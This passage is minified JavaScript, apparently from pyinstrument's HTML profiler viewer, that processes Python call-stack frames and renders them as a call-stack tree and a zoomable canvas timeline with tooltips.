l;this.identifier=e.identifier,this._identifierParts=this.identifier.split(wn),this.startTime=e.startTime??0,this.time=e.time??0,this.attributes=e.attributes??{},this.context=t;let n=this.startTime;const s=(l=e.children)==null?void 0:l.map(r=>(r.startTime===void 0&&(r={...r,startTime:n},n+=r.time??0),n=r.startTime+(r.time??0),new Ke(r,t)));s&&this.addChildren(s)}cloneDeep(){return new Ke(this,this.context)}get children(){return this._children}addChild(e,t={}){if(e.removeFromParent(),e.parent=this,t.after){const n=this._children.indexOf(t.after);if(n==-1)throw new Error(\"After frame not found\");this._children.splice(n+1,0,e)}else this._children.push(e)}addChildren(e,t={}){e=e.slice(),t.after?(e.slice().reverse(),e.forEach(s=>this.addChild(s,t))):e.forEach(n=>this.addChild(n,t))}removeFromParent(){if(this.parent){const e=this.parent._children.indexOf(this);this.parent._children.splice(e,1),this.parent=null}}getAttributes(e){return Object.keys(this.attributes).filter(n=>n.startsWith(e)).map(n=>({data:n.slice(1),time:this.attributes[n]}))}getAttributeValue(e){const t=this.getAttributes(e);if(!t||t.length==0)return null;let n=0;for(let s=0;s<t.length;s++)t[s].time>t[n].time&&(n=s);return t[n].data}get hasTracebackHide(){return this.getAttributeValue(An)==\"1\"}get function(){return this._identifierParts[0]}get filePath(){return this._identifierParts[1]??null}get lineNo(){const e=this._identifierParts[2];return e?parseInt(e):null}get isSynthetic(){return yn.includes(this.identifier)}get filePathShort(){return this.isSynthetic&&this.parent?this.parent.filePathShort:this.filePath?this.context.shortenPath(this.filePath):null}get isApplicationCode(){if(this.isSynthetic)return!1;const e=this.filePath;return!e||this.context.sysPrefixes.some(n=>e.startsWith(n))?!1:e.startsWith(\"<\")?e.startsWith(\"<ipython-input-\")?!0:e==\"<string>\"||e==\"<stdin>\"?this.parent?this.parent.isApplicationCode:!0:!1:!0}get proportionOfParent(){return this.parent?this.time/this.parent.time:1}get className(){return this.getAttributeValue(Tn)??\"\"}get library(){const e=this.filePathShort;return e?/^[\\\\/.]*[^\\\\/.]*/.exec(e)[0]??\"\":null}}class En{constructor(e){T(this,\"id\");T(this,\"rootFrame\");T(this,\"_frames\",[]);this.id=ot(),this.rootFrame=e}addFrame(e){e.group&&e.group.removeFrame(e),this._frames.push(e),e.group=this}removeFrame(e){if(e.group!==this)throw new Error(\"Frame not in group.\");const t=this._frames.indexOf(e);if(t===-1)throw new Error(\"Frame not found in group.\");this._frames.splice(t,1),e.group=null}get frames(){return this._frames}get exitFrames(){const e=[];for(const t of this.frames){let n=!1;for(const s of t.children)if(s.group!=this){n=!0;break}n&&e.push(t)}return e}get libraries(){const e=[];for(const t of this.frames){const n=t.library;n&&(e.includes(n)||e.push(n))}return e}}function rt(i,e){const{replaceWith:t}=e,n=i.parent;if(!n)throw new Error(\"Cannot delete the root frame\");if(t==\"children\")n.addChildren(i.children,{after:i});else if(t==\"self_time\")n.addChild(new Ke({identifier:Ze,time:i.time},n.context),{after:i});else if(t==\"nothing\")n.absorbedTime+=i.time;else throw new Xi(t);i.removeFromParent(),Mt(i,!0)}function kn(i,e){if(i.parent!==e.parent)throw new Error(\"Both frames must have the same parent.\");e.absorbedTime+=i.absorbedTime,e.time+=i.time,Object.entries(i.attributes).forEach(([t,n])=>{e.attributes[t]!==void 0?e.attributes[t]+=n:e.attributes[t]=n}),e.addChildren(i.children),i.removeFromParent(),Mt(i,!1)}function Mt(i,e){if(e&&i.children&&i.children.forEach(t=>{Mt(t,!0)}),i.group){const t=i.group;t.removeFrame(i),t.frames.length===1&&t.removeFrame(t.frames[0])}}function Ft(i,e){if(!i)return null;for(const t of i.children)Ft(t),t.filePath&&t.filePath.includes(\"<frozen importlib._bootstrap\")&&rt(t,{replaceWith:\"children\"});return i}function Pt(i,e){if(!i)return null;for(const t of i.children)Pt(t),t.hasTracebackHide&&rt(t,{replaceWith:\"children\"});return i}function Jt(i,e){if(!i)return null;const t={};for(const n of i.children.slice())if(t[n.identifier]){const s=t[n.identifier];kn(n,s)}else t[n.identifier]=n;return i.children.forEach(n=>Jt(n)),i._children.sort((n,s)=>s.time-n.time),i}function ei(i,e){if(!i)return null;const t=e.hideRegex,n=e.showRegex;function s(r){const o=r.filePath||\"\",c=n&&new RegExp(n).test(o),d=t&&new RegExp(t).test(o);return c?!1:d?!0:!r.isApplicationCode}function l(r,o){o.addFrame(r),r.children.forEach(c=>{s(c)&&l(c,o)})}return i.children.forEach(r=>{if(!r.group&&s(r)&&r.children.some(s)){const o=new En(r);l(r,o)}ei(r,e)}),i}function ti(i,e,t=!0){if(!i)return null;let n=null;for(const s of i.children)s.identifier===Ze?n?(n.time+=s.time,s.removeFromParent()):n=s:n=null;return t&&i.children.forEach(s=>ti(s,e,!0)),i}function ii(i,e){return i?(i.children.length===1&&i.children[0].identifier===Ze&&rt(i.children[0],{replaceWith:\"nothing\"}),i.children.forEach(t=>ii(t)),i):null}function ni(i,e,t=null){if(!i)return null;t===null&&(t=i.time,t<=0&&(t=1e-44));const n=e.filterThreshold??.01;for(const s of i.children.slice())s.time/t<n&&rt(s,{replaceWith:\"nothing\"});return i.children.forEach(s=>ni(s,e,t)),i}function si(i,e){if(!i)return null;const t=o=>en(o,c=>c.time),n=o=>{var c;return((c=o.filePath)==null?void 0:c.includes(\"pyinstrument/__main__.py\"))&&o.children.length>0},s=o=>{var c;return o.proportionOfParent>.8&&((c=o.filePath)==null?void 0:c.includes(\"<string>\"))&&o.children.length>0},l=o=>{var c;return o.proportionOfParent>.8&&(new RegExp(\".*runpy.py\").test(o.filePath??\"\")||((c=o.filePath)==null?void 0:c.includes(\"<frozen runpy>\")))&&o.children.length>0};let r=i;if(!n(r)||(r=t(r.children),!s(r))||(r=t(r.children),!l(r)))return i;for(;l(r);)r=t(r.children);return r.removeFromParent(),r}function oi(i,e){return i?(i.children.forEach(t=>oi(t)),i.group&&i.group.frames.length<3&&i.group.removeFrame(i),i):null}function Cn(i){let e,t,n;return t=new Kt({props:{frame:i[3],rootFrame:i[3]}}),{c(){e=f(\"div\"),we(t.$$.fragment),a(e,\"class\",\"call-stack-margins svelte-1hebm9u\")},m(s,l){S(s,e,l),ce(t,e,null),n=!0},p(s,l){const r={};l&8&&(r.frame=s[3]),l&8&&(r.rootFrame=s[3]),t.$set(r)},i(s){n||(D(t.$$.fragment,s),n=!0)},o(s){N(t.$$.fragment,s),n=!1},d(s){s&&L(e),ue(t)}}}function Mn(i){let e;return{c(){e=f(\"div\"),e.innerHTML='<div class=\"error\">All frames were filtered out.</div>',a(e,\"class\",\"margins\")},m(t,n){S(t,e,n)},p:F,i:F,o:F,d(t){t&&L(e)}}}function Fn(i){let e,t,n,s,l,r,o;const c=[Mn,Cn],d=[];function v(p,m){return p[3]?1:0}return n=v(i),s=d[n]=c[n](i),{c(){e=f(\"div\"),t=f(\"div\"),s.c(),l=b(),r=f(\"div\"),a(t,\"class\",\"scroll-inner svelte-1hebm9u\"),a(r,\"class\",\"scroll-size-fixer svelte-1hebm9u\"),a(e,\"class\",\"call-stack-view svelte-1hebm9u\")},m(p,m){S(p,e,m),u(e,t),d[n].m(t,null),i[7](t),u(e,l),u(e,r),i[8](r),i[9](e),o=!0},p(p,[m]){let h=n;n=v(p),n===h?d[n].p(p,m):(Oe(),N(d[h],1,1,()=>{d[h]=null}),Ve(),s=d[n],s?s.p(p,m):(s=d[n]=c[n](p),s.c()),D(s,1),s.m(t,null))},i(p){o||(D(s),o=!0)},o(p){N(s),o=!1},d(p){p&&L(e),d[n].d(),i[7](null),i[8](null),i[9](null)}}}function Pn(i,e,t){let n,{session:s}=e;const l=Vt([Z],([h])=>{const g=[h.removeImportlib?Ft:null,h.removeTracebackHide?Pt:null,ti,Jt,ii,h.removeIrrelevant?ni:null,h.removePyinstrument?si:null,h.collapseMode!==\"disabled\"?ei:null,oi].filter(E=>E!==null),w={filterThreshold:h.removeIrrelevantThreshold,hideRegex:h.collapseMode==\"custom\"?h.collapseCustomHide:void 0,showRegex:h.collapseMode==\"custom\"?h.collapseCustomShow:void 0};return{processors:g,options:w}});ge(i,l,h=>t(6,n=h));let r,o,c;bt(()=>{let h=0;const g=r;if(!g)throw new Error(\"element not set\");if(!o)throw new Error(\"scrollInnerElement not set\");if(!c)throw new Error(\"scrollSizeFixerElement not set\");const w=new ResizeObserver(()=>{const C=o.getBoundingClientRect().height;C>h&&(h=C,t(2,c.style.top=`${h-1}px`,c))});w.observe(o);let E;return g.addEventListener(\"scroll\",E=()=>{let C=g.scrollTop+g.clientHeight;const y=o.getBoundingClientRect().height;C<y&&(C=y),C<h&&(h=C,t(2,c.style.top=`${h-1}px`,c))}),E(),()=>{w.disconnect(),g.removeEventListener(\"scroll\",E)}});let d;function v(h){ke[h?\"unshift\":\"push\"](()=>{o=h,t(1,o)})}function p(h){ke[h?\"unshift\":\"push\"](()=>{c=h,t(2,c)})}function m(h){ke[h?\"unshift\":\"push\"](()=>{r=h,t(0,r)})}return i.$$set=h=>{\"session\"in h&&t(5,s=h.session)},i.$$.update=()=>{var h;i.$$.dirty&96&&t(3,d=Qt(((h=s.rootFrame)==null?void 0:h.cloneDeep())??null,n.processors,n.options))},[r,o,c,d,l,s,n,v,p,m]}class Rn extends he{constructor(e){super(),de(this,e,Pn,Fn,re,{session:5})}}class In{constructor(e){T(this,\"mediaQueryList\",null);this.onDevicePixelRatioChanged=e,this._onChange=this._onChange.bind(this),this.createMediaQueryList()}createMediaQueryList(){this.removeMediaQueryList();let e=`(resolution: ${window.devicePixelRatio}dppx)`;this.mediaQueryList=matchMedia(e),this.mediaQueryList.addEventListener(\"change\",this._onChange)}removeMediaQueryList(){var e;(e=this.mediaQueryList)==null||e.removeEventListener(\"change\",this._onChange),this.mediaQueryList=null}_onChange(e){this.onDevicePixelRatioChanged(),this.createMediaQueryList()}destroy(){this.removeMediaQueryList()}}class Ln{constructor(e){T(this,\"canvas\");T(this,\"_size_observer\");T(this,\"_devicePixelRatioObserver\");T(this,\"drawAnimationRequest\",null);this.container=e,getComputedStyle(e).position!=\"absolute\"&&(e.style.position=\"relative\"),this.canvas=document.createElement(\"canvas\"),this.canvas.style.position=\"absolute\",this.canvas.style.left=\"0\",this.canvas.style.top=\"0\",this.canvas.style.width=\"100%\",this.canvas.style.height=\"100%\",this.container.appendChild(this.canvas),this.setCanvasSize=this.setCanvasSize.bind(this),this._size_observer=new ResizeObserver(this.setCanvasSize),this._size_observer.observe(e),this._devicePixelRatioObserver=new In(this.setCanvasSize),window.requestAnimationFrame(()=>{this.setCanvasSize()})}destroy(){this._size_observer.disconnect(),this._devicePixelRatioObserver.destroy(),this.canvas.remove(),this.drawAnimationRequest!==null&&(window.cancelAnimationFrame(this.drawAnimationRequest),this.drawAnimationRequest=null)}setNeedsRedraw(){this.drawAnimationRequest===null&&(this.drawAnimationRequest=window.requestAnimationFrame(()=>{this.drawAnimationRequest=null,this.canvasViewRedraw()}))}redrawIfNeeded(){this.drawAnimationRequest!==null&&(window.cancelAnimationFrame(this.drawAnimationRequest),this.drawAnimationRequest=null,this.canvasViewRedraw())}canvasViewRedraw(){const e=this.canvas.getContext(\"2d\");e&&(e.resetTransform(),e.scale(window.devicePixelRatio,window.devicePixelRatio),this.redraw(e,{width:this.canvas.width/window.devicePixelRatio,height:this.canvas.height/window.devicePixelRatio}))}get width(){return this.canvas.width/window.devicePixelRatio}get height(){return this.canvas.height/window.devicePixelRatio}setCanvasSize(){const e=window.devicePixelRatio;this.canvas.height=this.container.clientHeight*e,this.canvas.width=this.container.clientWidth*e,this.canvasViewRedraw()}}function Sn(i){let e,t=i[2]==\"self\"?\"self\":\"time\",n,s,l,r=i[3](i[0].time)+\"\";return{c(){e=f(\"div\"),n=I(t),s=b(),l=f(\"div\"),a(e,\"class\",\"label svelte-ci3g2p\"),a(l,\"class\",\"time-val svelte-ci3g2p\")},m(o,c){S(o,e,c),u(e,n),S(o,s,c),S(o,l,c),l.innerHTML=r},p(o,c){c&4&&t!==(t=o[2]==\"self\"?\"self\":\"time\")&&_e(n,t),c&1&&r!==(r=o[3](o[0].time)+\"\")&&(l.innerHTML=r)},d(o){o&&(L(e),L(s),L(l))}}}function Dn(i){let e,t,n,s,l=i[3](i[0].time)+\"\",r,o=i[0].selfTime/i[0].time>.001&&ri(i);return{c(){e=f(\"div\"),e.textContent=\"time\",t=b(),n=f(\"div\"),s=f(\"div\"),r=b(),o&&o.c(),a(e,\"class\",\"label svelte-ci3g2p\"),a(s,\"class\",\"time-val svelte-ci3g2p\"),a(n,\"class\",\"time-row svelte-ci3g2p\")},m(c,d){S(c,e,d),S(c,t,d),S(c,n,d),u(n,s),s.innerHTML=l,u(n,r),o&&o.m(n,null)},p(c,d){d&1&&l!==(l=c[3](c[0].time)+\"\")&&(s.innerHTML=l),c[0].selfTime/c[0].time>.001?o?o.p(c,d):(o=ri(c),o.c(),o.m(n,null)):o&&(o.d(1),o=null)},d(c){c&&(L(e),L(t),L(n)),o&&o.d()}}}function ri(i){let e,t,n,s=i[3](i[0].selfTime)+\"\";return{c(){e=f(\"div\"),e.textContent=\"self\",t=b(),n=f(\"div\"),a(e,\"class\",\"label svelte-ci3g2p\"),a(n,\"class\",\"time-val svelte-ci3g2p\")},m(l,r){S(l,e,r),S(l,t,r),S(l,n,r),n.innerHTML=s},p(l,r){r&1&&s!==(s=l[3](l[0].selfTime)+\"\")&&(n.innerHTML=s)},d(l){l&&(L(e),L(t),L(n))}}}function Hn(i){let e,t,n=i[0].name+\"\",s,l,r,o,c,d,v,p,m,h;function g(C,y){return C[2]==\"both\"?Dn:Sn}let w=g(i),E=w(i);return{c(){e=f(\"div\"),t=f(\"div\"),s=I(n),l=b(),E.c(),r=b(),o=f(\"div\"),o.textContent=\"loc\",c=b(),d=f(\"div\"),v=f(\"div\"),m=b(),h=new Ri(!1),a(t,\"class\",\"name svelte-ci3g2p\"),a(o,\"class\",\"label svelte-ci3g2p\"),a(v,\"class\",\"location-color svelte-ci3g2p\"),a(v,\"style\",p=`background: ${i[0].locationColor}`),h.a=null,a(d,\"class\",\"location-row\"),a(e,\"class\",\"timeline-canvas-view-tooltip svelte-ci3g2p\"),a(e,\"style\",`font: ${ai}; max-width: ${Vn}px;`)},m(C,y){S(C,e,y),u(e,t),u(t,s),u(e,l),E.m(e,null),u(e,r),u(e,o),u(e,c),u(e,d),u(d,v),u(d,m),h.m(i[1],d)},p(C,[y]){y&1&&n!==(n=C[0].name+\"\")&&_e(s,n),w===(w=g(C))&&E?E.p(C,y):(E.d(1),E=w(C),E&&(E.c(),E.m(e,r))),y&1&&p!==(p=`background: ${C[0].locationColor}`)&&a(v,\"style\",p),y&2&&h.p(C[1])},i:F,o:F,d(C){C&&L(e),E.d()}}}function li(i){return i.selfTime==i.time?\"self\":i.selfTime/i.time>.001?\"both\":\"time\"}function On(i,e){i.font=ai;const t=li(e)==\"both\"?140:70,n=i.measureText(e.name).width,s=i.measureText(e.location).width+46;let r=Math.max(t,n,s)+20;return r>310&&(r=310),r}const Vn=310,ai=\"400 13px Source Sans Pro, sans-serif\";function xn(i,e,t){let{f:n}=e,s,l;function r(o){return`<span style=\"color: ${zt(o/n.totalTime)}\">${o.toFixed(n.precision)}</span>`}return i.$$set=o=>{\"f\"in o&&t(0,n=o.f)},i.$$.update=()=>{i.$$.dirty&1&&t(1,s=Ct(n.location)),i.$$.dirty&1&&t(2,l=li(n))},[n,s,l,r]}class Nn extends he{constructor(e){super(),de(this,e,xn,Hn,re,{f:0})}}const $n=\"#212325\",ci=18,Bn=17,Ie=28,lt=17,ui=29,zn=[\"#3475BA\",\"#318DBC\",\"#47A298\",\"#8AAE5D\",\"#C1A731\",\"#C07210\",\"#B84210\",\"#B53134\",\"#9A3586\",\"#4958B5\",\"#3475BA\"].map(Ki);class Wn extends Ln{constructor(t){super(t);T(this,\"zoom\",1);T(this,\"startT\",0);T(this,\"yOffset\",0);T(this,\"frames\",[]);T(this,\"isZoomedIn\",!1);T(this,\"tooltipContainer\");T(this,\"tooltipComponent\",null);T(this,\"_rootFrame\",null);T(this,\"maxDepth\",0);T(this,\"tooltipLocation\",null);T(this,\"lastDrawWidth\",0);T(this,\"lastDrawHeight\",0);T(this,\"_libraryOrder\",null);T(this,\"_colors\",[]);T(this,\"_frameMaxT\");T(this,\"mouseLocation\",null);T(this,\"mouseDownLocation\",null);T(this,\"touches\",{});this.onWheel=this.onWheel.bind(this),this.onMouseMove=this.onMouseMove.bind(this),this.onMouseLeave=this.onMouseLeave.bind(this),this.onMouseDown=this.onMouseDown.bind(this),this.windowMouseUp=this.windowMouseUp.bind(this),this.onTouchstart=this.onTouchstart.bind(this),this.onTouchmove=this.onTouchmove.bind(this),this.onTouchend=this.onTouchend.bind(this),this.onTouchcancel=this.onTouchend.bind(this),this.canvas.addEventListener(\"wheel\",this.onWheel),this.canvas.addEventListener(\"mousemove\",this.onMouseMove),this.canvas.addEventListener(\"mouseleave\",this.onMouseLeave),this.canvas.addEventListener(\"mousedown\",this.onMouseDown),this.canvas.addEventListener(\"touchstart\",this.onTouchstart),this.canvas.addEventListener(\"touchmove\",this.onTouchmove),this.canvas.addEventListener(\"touchend\",this.onTouchend),this.canvas.addEventListener(\"touchcancel\",this.onTouchcancel),this.tooltipContainer=document.createElement(\"div\"),this.tooltipContainer.style.position=\"absolute\",this.tooltipContainer.style.pointerEvents=\"none\",this.container.appendChild(this.tooltipContainer)}destroy(){this.canvas.removeEventListener(\"wheel\",this.onWheel),this.canvas.removeEventListener(\"mousemove\",this.onMouseMove),this.canvas.removeEventListener(\"mouseleave\",this.onMouseLeave),this.canvas.removeEventListener(\"mousedown\",this.onMouseDown),this.canvas.removeEventListener(\"touchstart\",this.onTouchstart),this.canvas.removeEventListener(\"touchmove\",this.onTouchmove),this.canvas.removeEventListener(\"touchend\",this.onTouchend),this.canvas.removeEventListener(\"touchcancel\",this.onTouchcancel),this.tooltipContainer.remove(),super.destroy()}setRootFrame(t){this._rootFrame=t,this.frames=[],this._frameMaxT=void 0,this.maxDepth=0,this._collectFrames(t,0),this.fitContents(),this.setNeedsRedraw()}_collectFrames(t,n){this.frames.push({frame:t,depth:n,isApplicationCode:t.isApplicationCode,library:t.library,className:t.className,filePathShort:t.filePathShort}),this.maxDepth=Math.max(this.maxDepth,n);for(const s of t.children)s.identifier!==Ze&&this._collectFrames(s,n+1)}updateTooltip(t,n){var s,l;if(n){const r={name:this.frameName(n),time:n.frame.time,selfTime:this.frameSelfTime(n),totalTime:((s=this._rootFrame)==null?void 0:s.time)??1e-12,precision:((l=this._rootFrame)==null?void 0:l.context.precision)??3,location:`${n.filePathShort}:${n.frame.lineNo}`,locationColor:this.colorForFrame(n)};if(this.tooltipComponent?this.tooltipComponent.$set({f:r}):this.tooltipComponent=new Nn({target:this.tooltipContainer,props:{f:r}}),this.tooltipLocation){const o={x:this.tooltipLocation.x+12,y:this.tooltipLocation.y+12},c=On(t,r),d=this.width-10-c;o.x>d&&(o.x=d);const p=this.height-10-60;o.y>p&&(o.y=p),this.tooltipContainer.style.left=`${o.x}px`,this.tooltipContainer.style.top=`${o.y}px`}}n||this.tooltipComponent&&(this.tooltipComponent.$destroy(),this.tooltipComponent=null)}redraw(t,n){const{width:s,height:l}=n;(s!==this.lastDrawWidth||l!==this.lastDrawHeight)&&(this.isZoomedIn?this.clampViewport():this.fitContents()),this.lastDrawWidth=s,this.lastDrawHeight=l,t.fillStyle=$n,t.fillRect(0,0,s,l),this.drawAxes(t);for(const d of this.frames)this.drawFrame(t,d);t.globalAlpha=1;const r=this.maxYOffset>0||this.isZoomedIn,o=!!this.mouseDownLocation;this.canvas.style.cursor=o&&r?\"grabbing\":\"initial\",t.fillStyle=\"red\",t.font='23px \"Source Sans Pro\", sans-serif';let c=null;!o&&this.tooltipLocation&&(c=this.hitTest(this.tooltipLocation)),this.updateTooltip(t,c)}drawAxes(t){const n=Math.max(800,this.width)/this.zoom;if(n==0)return;const s=Math.log10(n);let l=Math.ceil(s)+2;l<0&&(l=0);const r=Math.ceil(s)-3,o=c=>Ne(c,{from:[s,s-3],to:[.71,0],clamp:!0});for(let c=r;c<l;c++){let d=o(c);d=Math.max(0,Math.min(1,d)),d=Math.pow(d,2),this.drawAxis(t,Math.pow(10,c),d)}this.drawAxis(t,Math.pow(10,l),o(l),!0)}drawAxis(t,n,s,l=!1){t.fillStyle=\"white\";const r=Math.floor(this.startT/n)*n,o=this.startT+this.width/this.zoom,c=Math.max(0,Math.ceil(-Math.log10(n)));for(let d=r;d<o;d+=n){const v=this.xForT(d);if(Math.round(d/n)%10===0&&!l)continue;t.globalAlpha=s;const m=lt-this.yOffset;t.fillRect(v,m,1,this.height-m);const h=Ne(s,{from:[.12,.25],to:[0,.5],clamp:!0});if(h>.01){t.globalAlpha=h,t.font='13px \"Source Sans Pro\", sans-serif';let g=d.toFixed(c);g==\"0\"&&(g=\"0s\");let w=m+10;t.fillText(g,v+3,w);let E=this.height+lt+10-this.yOffset;E<this.height-3&&(E=this.height-3),t.fillText(g,v+3,E)}t.globalAlpha=1}}drawFrame(t,n){const{x:s,y:l,w:r,h:o}=this.frameDims(n);if(s+r<0||s>this.width)return;if(t.fillStyle=this.colorForFrame(n),t.globalAlpha=n.isApplicationCode?1:.5,r<2){t.fillRect(s,l,r,o);return}let d=this.frameName(n);const v=Math.floor(r/3.3);if(d.length>v&&(d=d.substring(0,v)),d.length==0){t.fillRect(s,l,r,o);return}t.save(),t.beginPath(),t.rect(s,l,r,o),t.fill(),t.clip(),t.font='13px \"Source Sans Pro\", sans-serif',t.fillStyle=\"white\";let p=s;p<0&&(p=0),t.fillText(d,p+2,l+13),t.restore()}_assignLibraryOrder(){const t={};for(const s of this.frames){const r=s.frame.library??\"\";t[r]=(t[r]||0)+s.frame.time}const n=Object.keys(t);n.sort((s,l)=>t[l]-t[s]),this._libraryOrder=n}colorForLibraryIndex(t){if(this._colors[t]!==void 0)return this._colors[t];const n=Math.pow(2,Math.ceil(Math.log2(t+1))),l=(2*t-n+1)/n,r=Gi(zn,l);return this._colors[t]=r,r}libraryIndexForFrame(t){this._libraryOrder||this._assignLibraryOrder();const n=t.library||\"\";let s=this._libraryOrder.indexOf(n);return s===-1&&(s=this._libraryOrder.length,this._libraryOrder.push(n)),s}colorForFrame(t){const n=this.libraryIndexForFrame(t);return this.colorForLibraryIndex(n)}get frameMaxT(){return this._frameMaxT===void 0&&(this._frameMaxT=this.frames.reduce((t,n)=>Math.max(t,n.frame.startTime+n.frame.time),0)),this._frameMaxT}get maxYOffset(){return Math.max(0,(this.maxDepth+1)*ci+lt*2+ui-this.height)}get minZoom(){return(this.width-2*Ie)/this.frameMaxT}get maxZoom(){return 6666666666666667e-8}fitContents(){this.startT=0,this.zoom=this.minZoom,this.isZoomedIn=!1}clampViewport(){this.zoom<this.minZoom?(this.zoom=this.minZoom,this.isZoomedIn=!1):this.isZoomedIn=!0,this.zoom>this.maxZoom&&(this.zoom=this.maxZoom),this.startT<0&&(this.startT=0);const t=this.frameMaxT-(this.width-2*Ie)/this.zoom;this.startT>t&&(this.startT=t),this.yOffset<0&&(this.yOffset=0),this.yOffset>this.maxYOffset&&(this.yOffset=this.maxYOffset)}frameDims(t){const n=t.depth*ci+lt+ui-this.yOffset,s=Bn;let l=this.xForT(t.frame.startTime),o=this.xForT(t.frame.startTime+t.frame.time)-l;return o<1&&(o=1),o>1&&(o-=Ne(o,{from:[1,3],to:[0,1],clamp:!0})),{x:l,y:n,w:o,h:s}}xForT(t){return(t-this.startT)*this.zoom+Ie}tForX(t){return(t-Ie)/this.zoom+this.startT}frameName(t){let n;return t.className?n=`${t.className}.${t.frame.function}`:t.frame.function==\"<module>\"?n=t.filePathShort??t.frame.filePath??\"\":n=t.frame.function,n}frameSelfTime(t){let n=t.frame.time;const s=t.frame.children.filter(l=>!l.isSynthetic);for(const l of s)n-=l.time;return n}hitTest(t){for(const n of this.frames){const{x:s,y:l,w:r,h:o}=this.frameDims(n);if(t.x>=s&&t.x<=s+r&&t.y>=l&&t.y<=l+o)return n}return null}onWheel(t){const n=t.ctrlKey||t.metaKey,s=n?.01:.0023,l=this.tForX(t.offsetX);this.zoom*=1-t.deltaY*s,this.clampViewport(),this.startT=l-(t.offsetX-Ie)/this.zoom,n||(this.startT+=t.deltaX/this.zoom),this.clampViewport(),this.setNeedsRedraw(),t.preventDefault()}onMouseMove(t){const n={x:t.offsetX,y:t.offsetY},s=this.mouseLocation;if(this.mouseLocation=n,s&&this.mouseDownLocation){const l={x:n.x-s.x,y:n.y-s.y};this.startT-=l.x/this.zoom,this.yOffset-=l.y,this.clampViewport()}this.tooltipLocation=n,this.setNeedsRedraw()}onMouseLeave(t){this.mouseLocation=null,this.tooltipLocation=null,this.setNeedsRedraw()}onMouseDown(t){(t.button===0||t.button===1)&&(this.mouseDownLocation={x:t.offsetX,y:t.offsetY},window.addEventListener(\"mouseup\",this.windowMouseUp),this.setNeedsRedraw())}windowMouseUp(t){window.removeEventListener(\"mouseup\",this.windowMouseUp),this.mouseDownLocation=null,this.setNeedsRedraw()}onTouchstart(t){t.preventDefault(),t.stopPropagation();for(const n of Array.from(t.changedTouches))this.touches[n.identifier]={x:n.clientX,y:n.clientY,downT:this.tForX(n.clientX),startDate:Date.now(),downX:n.clientX,downY:n.clientY}}onTouchmove(t){t.preventDefault(),t.stopPropagation();let n=0;for(const l of Array.from(t.changedTouches)){const r=this.touches[l.identifier];r&&(n+=l.clientY-r.y,this.touches[l.identifier]={...r,x:l.clientX,y:l.clientY})}const s=n/Object.keys(this.touches).length;this.yOffset-=s,this.adjustXAxisForTouches(),this.setNeedsRedraw()}onTouchend(t){t.preventDefault(),t.stopPropagation();for(const n of Array.from(t.changedTouches))delete this.touches[n.identifier];this.setNeedsRedraw()}onTouchcancel(t){t.preventDefault(),t.stopPropagation();for(const n of Array.from(t.changedTouches))delete this.touches[n.identifier];this.setNeedsRedraw()}adjustXAxisForTouches(){const t=Object.keys(this.touches).map(Number);if(t.length!=0){if(t.length==1){const n=this.touches[t[0]];this.startT=n.downT-(n.x-Ie)/this.zoom}if(t.length>=2){const n=this.touches[t[0]],s=this.touches[t[1]],l=(s.x-n.x)/(s.downT-n.downT),r=n.downT-(n.x-Ie)/l;this.startT=r,this.zoom=l}this.clampViewport()}}}function qn(i){let e;return{c(){e=f(\"div\"),e.innerHTML=\"\",a(e,\"class\",\"timeline svelte-p2tt1k\")},m(t,n){S(t,e,n),i[6](e)},p:F,i:F,o:F,d(t){t&&L(e),i[6](null)}}}function Un(i,e,t){let n,{session:s}=e;const l=Vt([je],([v])=>({processors:[v.removeImportlib?Ft:null,v.removeTracebackHide?Pt:null,v.removePyinstrument?si:null].filter(h=>h!==null),options:{}}));ge(i,l,v=>t(5,n=v));let r,o=null,c=null;Ii(()=>{c==null||c.destroy()});function d(v){ke[v?\"unshift\":\"push\"](()=>{o=v,t(0,o)})}return i.$$set=v=>{\"session\"in v&&t(2,s=v.session)},i.$$.update=()=>{var v;i.$$.dirty&36&&t(3,r=Qt(((v=s.rootFrame)==null?void 0:v.cloneDeep())??null,n.processors,n.options)),i.$$.dirty&1&&o&&t(4,c=new Wn(o)),i.$$.dirty&24&&r&&c&&c.setRootFrame(r)},[o,l,s,r,c,n,d]}class Yn extends he{constructor(e){super(),de(this,e,Un,qn,re,{session:2})}}function Xn(i){let e,t,n=i[1].viewMode+\"\",s;return{c(){e=f(\"div\"),t=I(\"Unknown view mode: \"),s=I(n),a(e,\"class\",\"error\")},m(l,r){S(l,e,r),u(e,t),u(e,s)},p(l,r){r&2&&n!==(n=l[1].viewMode+\"\")&&_e(s,n)},i:F,o:F,d(l){l&&L(e)}}}function Gn(i){let e,t;return e=new Yn({props:{session:i[0]}}),{c(){we(e.$$.fragment)},m(n,s){ce(e,n,s),t=!0},p(n,s){const l={};s&1&&(l.session=n[0]),e.$set(l)},i(n){t||(D(e.$$.fragment,n),t=!0)},o(n){N(e.$$.fragment,n),t=!1},d(n){ue(e,n)}}}function jn(i){let e,t;return e=new Rn({props:{session:i[0]}}),{c(){we(e.$$.fragment)},m(n,s){ce(e,n,s),t=!0},p(n,s){const l={};s&1&&(l.session=n[0]),e.$set(l)},i(n){t||(D(e.$$.fragment,n),t=!0)},o(n){N(e.$$.fragment,n),t=!1},d(n){ue(e,n)}}}function Zn(i){let e;return{c(){e=f(\"div\"),e.innerHTML='<div class=\"spacer\" style=\"height: 20px;\"></div> <div class=\"error\">No samples recorded.</div>',a(e,\"class\",\"margins\")},m(t,n){S(t,e,n)},p:F,i:F,o:F,d(t){t&&L(e)}}}function Kn(i){let e,t,n,s,l,r,o,c;n=new pn({props:{session:i[0]}});const d=[Zn,jn,Gn,Xn],v=[];function p(m,h){return m[0].rootFrame?m[1].viewMode===\"call-stack\"?1:m[1].viewMode===\"timeline\"?2:3:0}return r=p(i),o=v[r]=d[r](i),{c(){e=f(\"div\"),t=f(\"div\"),we(n.$$.fragment),s=b(),l=f(\"div\"),o.c(),a(t,\"class\",\"header\"),a(l,\"class\",\"body svelte-1vwroj7\"),a(e,\"class\",\"app svelte-1vwroj7\")},m(m,h){S(m,e,h),u(e,t),ce(n,t,null),u(e,s),u(e,l),v[r].m(l,null),c=!0},p(m,[h]){const g={};h&1&&(g.session=m[0]),n.$set(g);let w=r;r=p(m),r===w?v[r].p(m,h):(Oe(),N(v[w],1,1,()=>{v[w]=null}),Ve(),o=v[r],o?o.p(m,h):(o=v[r]=d[r](m),o.c()),D(o,1),o.m(l,null))},i(m){c||(D(n.$$.fragment,m),D(o),c=!0)},o(m){N(n.$$.fragment,m),N(o),c=!1},d(m){m&&L(e),ue(n),v[r].d()}}}function Qn(i,e,t){let n;ge(i,Ge,p=>t(1,n=p));let{session:s}=e;const 